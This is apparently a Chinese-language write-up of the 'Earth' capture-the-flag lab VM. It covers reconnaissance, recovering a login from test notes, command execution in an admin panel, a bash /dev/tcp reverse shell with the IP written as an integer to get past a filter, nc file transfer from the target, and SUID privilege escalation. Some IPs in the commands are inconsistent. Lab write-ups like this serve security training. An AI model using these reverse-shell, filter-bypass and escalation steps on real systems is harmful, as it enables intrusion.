一、主机信息收集
主机存活探测:
Kali ip : 192.168.119.130
Earth ip: 192.168.119.129
对其端口进行扫描:
发现开放了22、80、443,并且这里的dns 进行了绑定
在kail上 去修改 hosts 文件,这样我们接下来就可以进行访问了。
进行域名的绑定操作
#vim /etc/hosts
修改hosts 文件的配置
二、web信息收集
目录查看
先访问一下,earth.local ,看来只是个主页
在之前扫描80目录的时候,有个登录界面,我们去看看
点击 Log In 后 ,来到登录界面,发现需要用户名和密码
这里暂时无法入手,我们再看看还有没有其他东西可以突破的。
在之前扫描443目录的时候,有个robots.txt 文件 ,去看看有没有可以操作的。
可见这里有特殊的信息,在最后一行上,是个什么记录来着
直接去访问 /testingnotes.txt
解读信息 可知 用户名为 :terra ,密码被加密了,testdata.txt在之前用于测试加密。
看一下这个testdata.txt 文件
作用:通过三个秘钥去尝试找到用户名为terra对应的密码
最后打印出来,发现重复最多的是earthclimatechangebad4humans,可以大致推断出密码就是这个了。
然后进行登录, 访问 earth.local/admin
用户名:terra
密码:earthclimatechangebad4humans
三、验证漏洞
发现ls ,whoami 系统命令都可以执行
使用find命令查找flag:find / -name "*flag*",
可见可以通过find 命令找到flag
再使用cat /var/earth_web/user_flag.txt 的命令去获取flag.
四、使用反弹shell连接到靶机
通过编写个反弹shell:
bash -i >& /dev/tcp/192.168.119.129/4444 0>&1
这里发现远程连接给禁止了。
我们可用通过ip绕过进行连接
对ip中的数字进行了过滤,尝试使用十六进制绕过:
注:这里的IP 为kali 端的 ip.
bash -i >& /dev/tcp/3232266114/4444 0>&1
开启一个4444监听端口
SUID提权
查看靶机中有权限的二进制文件
find / -perm -u=s -type f 2>/dev/null
找到了 reset_root
直接执行发现没有用
先在kali/接收方启动:
nc -l 5555 > reset_root
然后在靶机上(earth)/发送方 启动
nc 172.168.119.130 5555 < /usr/bin/reset_root
使用之前需要将 reset_root 赋于执行权限
从结果可以看到 会有 三个 No such file or directory
access("/dev/shm/kHgTFI5G", F\_OK) = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F\_OK) = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F\_OK) = -1 ENOENT (No such file or directory)
那么可能因为靶机上没有这个三个文件,从而运行失败,那我们去靶机上创建这个三个文件,文件中是什么内容呢?
创建,然后运行
恭喜完成!!!